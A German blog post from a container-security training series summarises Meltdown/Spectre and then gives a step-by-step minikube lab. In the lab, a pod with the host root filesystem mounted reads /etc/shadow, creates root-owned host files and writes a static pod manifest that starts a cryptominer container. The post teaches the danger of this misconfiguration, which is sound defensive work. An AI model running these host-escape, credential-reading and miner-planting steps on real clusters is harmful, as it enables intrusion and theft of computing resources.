In diesem Artikel zeigen wir Ihnen, wie wichtig ein sicherer Umgang mit Containern ist. Dabei zeigen wir nicht nur auf, was Angreifer durch das Ausnutzen von Schwachstellen erreichen können und wie einfach das geht. Wir zeigen auch, was durch Flüchtigkeitsfehler im Alltag schiefgehen kann und welche, teils gravierenden, Auswirkungen das hat.

HandsOn: Wer möchte, kann die gezeigten Angriffe auch selbst mit Anleitung durchführen und damit spielen. Die Links zu den Szenarien sind hier ebenfalls gegeben.

Scenario 1: Meltdown und Spectre
Im ersten Beispiel zeigen wir eine der erschütterndsten Schwachstellen für Virtualisierung in jüngster Zeit auf: Meltdown und Spectre.

Beschreibung:
Die Anfang 2018 bekannt gewordene Schwachstelle ermöglicht es Angreifern, über die Grenzen der Virtualisierung hinweg, den Speicher anderer Prozesse mittels eines Seitenkanalangriffe auszulesen. Dies bedeutet, dass die Abgrenzung durch Virtualisierung nicht mehr gegeben ist. Wenn ein Angreifer nur einen Container in einer Container-Virtualisierten-Landschaft übernehmen kann, so kann dieser auch auf alle anderen Container mittels dieser Schwachstelle zugreifen und die sensiblen Informationen in Erfahrung bringen. Seit der initialen Entdeckung sind immer mehr Schwachstellen aufgekommen, die auf diese als Grundlage nutzen.

Durchführung:
Die Beschreibung der Schwachstellen, sowie ein Szenario zu deren Ausführung wurde von mir schon in den Blogeinträgen:
"Der "Supergau" der Digitalen Gesellschaft: Meltdown, Spectre & Spectre-NG in Container-virtualisierten Umgebungen"
"Meltdown & Spectre in Container virtualisierten Umgebungen: Meltdown Exploitation"
und "Meltdown & Spectre in Container virtualisierten Umgebungen (Teil 3)" beschrieben. Gerne können Sie anhand der Beiträge selbst in kurzer Zeit eine Container-Umgebung angreifen und den Angriff ausprobieren.

Scenario 2: Fehlkonfiguration im Alltag

Auch wenn man durch geeignete Maßnahmen sein System immer aktuell hält, gibt es noch einen großen Gefährdungsblock: Fehlkonfigurationen. Im Alltag kann es beim Programmieren und Konfigurieren schnell vorkommen, dass sich kleine Fehler einschleichen. Diese Fehler können jedoch teils enorme Auswirkungen haben.

Beschreibung:
Liz Rice zeigte in Ihrem Vortrag auf der KubeCon 2018, welche gravierenden Folgen das haben kann. In unserem Vortrag zeigen wir auf ähnliche Art und Weise, wie es durch diese Fehlkonfiguration möglich ist, zum Beispiel neue Dateien als Root auf dem Hostsystem zu erstellen, Informationen von diesem aus dem Container heraus zu erhalten und sogar neue Prozesse auf dem Hostsystem laufen zu lassen. Das Ganze ist aus dem Container heraus mit nur einer falschen Zeile in der Config möglich und dies ohne dass der Container privileged oder ähnlich gestartet werden muss.

Durchführung:
Wenn Sie dieses selbst nachmachen möchten, können Sie sich den Vortrag von Liz Rice anschauen

und sich das dazugehörige Git-Repo herunterladen, oder einfach das x-cellent eigene Git-Projekt nutzen und nur die "start.sh" ausführen. Dazu können Sie das Repository einfach in Ihrem Home-Ordner klonen. Die Ausgabe des Skriptes zeigt leicht und verständlich die Durchführung des Scenarios. Da wir minikube für diese Demonstration verwenden, wird virtualbox vorausgesetzt.

1. Installation
Wenn diese Voraussetzung erfüllt ist, muss minikube und Kubectl installiert werden. Das können Sie entweder selbst manuell machen - oder einfach das "install.sh"-Script in unserm Repository verwenden

2. Starten der Umgebung
Durch ausführen der "start.sh" wird die Umgebung nun gestartet. Es empfiehlt sich das Skript kurz durchzulesen, um nachzuvollziehen, was alles passiert. Des Weiteren müssen Sie im Skript gegebenenfalls Anpassungen an dem Pfad gemacht werden, damit er mit Ihrer Ordnerstruktur übereinstimmt. Im Folgenden ist der Ablauf stichpunktartig zusammengefasst:

  • Starten von Minikube
  • Bereinigung der minikube VM
  • Bauen der Dockerimages
  • Ausgabe der Befehle für die Durchführung

nach der Skriptausführung werden sich zwei zusätzliche Fenster geöffnet haben.

  • "monitoring"-Fenster: Hier wird stets der aktuelle Stand der pods ausgegeben.
  • "minikube"-Fenster: Das zweite Terminal ist eine Shell auf der minikube vm (Kubernetes hostsystem).
  • "Script"-Fenster: Das dritte Fenster ist das Terminal, in dem gerade das Skript ausgeführt wurde.
  1. Ausführen der Befehle
    Als erstes soll der folgende Befehl im "Script"-Fenster ausgeführt werden

kubectl apply -f mount-root.yaml

Dadurch wird in der Kubernetes-Umgebung ein Container gestartet, der das root-Filesystem gemountet hat. Am besten können Sie das durch einen kurzen Blick in die datei mount-root.yaml nachvollziehen. Im Monitoring-Fenster sollte Ihnen nun der Pod angezeigt werden. Mit dem nächsten Befehl wird das letzte Fenster gestartet:

gnome-terminal -e 'kubectl exec -it nginx /bin/bash'

Dieses Fenster "container" ist der zuvor gestartete nginx-Container, in den das Hostsystem gemountet ist. Nun kommen wir zur eigentlichen Durchführung des "Angriffs". Als Erstes verifizieren wir, dass das Hostsystem (minikube-fenster) normal ist und keine Veränderungen vorgenommen wurden:

cd / && ls

Als nächstes wollen wir im "container"-Fenster eine Datei auf dem Hostsystem anlegen:

cd /host && touch SOMEfile.TXT

Auch haben wir von dem Container nun vollen Zugriff auf das Hostsystem und können, obwohl der Container als nicht root-user gestartet wurde, auf Dateien zugreifen, die nur von root lesbar sind, wie z.b. /etc/shadow:

cat ./etc/shadow

Nun verifizieren wir im minikube-Fenster, dass die Datei erstellt wurde:

ls

MiniKubeAusgabe

Auch hier sehen wir, das obwohl der Container als nicht root-user gestartet wurde, die Datei von dem root-Nutzer angelegt ist. Wir als normaler Nutzer können diese nun nicht einmal mehr löschen.

Nach dem wir nun schon mit root-Rechten auf dem Hostsystem lesen und schreiben können, ist der nächste Schritt auch Prozesse auf dem Hostsystem zu starten – zum Beispiel einen kleinen Cryptominer ;) Dafür müssen wir folgende Befehle in unserem "container"-Fenster ausführen:

cd /host/etc/kubernetes/manifests/
cat << EOF > injectHost.yaml
apiVersion: v1
kind: Pod
metadata:
  name: bitminer
  labels:
    app: bitminer
spec:
  containers:
  - name: naughty
    image: bitminer:0.1
EOF

Pods

Dadurch erstellen wir auf dem Hostsystem eine neue Datei, durch die ein neuer pod erstellt wird, der nun für uns zum Beispiel Cryptowährung farmt. Im Monitoring-Fenster kann dies verifiziert werden. Um nun zu schauen, was in diesem neuen Container passiert, muss man folgenden Befehl im Script-Fenster ausführen:

kubectl logs -f bitminer-minikube

LogsAusgabe

Resume:
Durch einen kleinen Fehler - dass man nicht restriktiv nur die benötigten Host-Verzeichnisse in den Container gemountet hat, sondern das gesamte Dateisystem - konnte von diesem aus nun mit root-Rechten auf dem Hostsystem gelesen und geschrieben werden, es konnten sogar neue Container gestartet werden. Wenn ein Angreifer Zugriff auf einen solch falsch konfigurierten Container bekommt, so braucht er keine weiteren Schwachstellen oder Angriffe um Vollzugriff auf das Hostsystem zu erhalten.

An dieser Stelle möchte ich Liz Rice für Ihre Demonstration dieser Fehlkonfiguration Danken.

Dies war der 2. Blockbeitrag zu der IT-Security Docker Schulung. Im Nächsten Blockbeitrag geht es um die den IT-Grundschutz, welche vorgaben es gibt, wie dieser aufgebaut ist und was zu beachten ist.

Hier finden Sie den ersten Teil: Container Security: Was Sie darüber wissen müssen – und noch mehr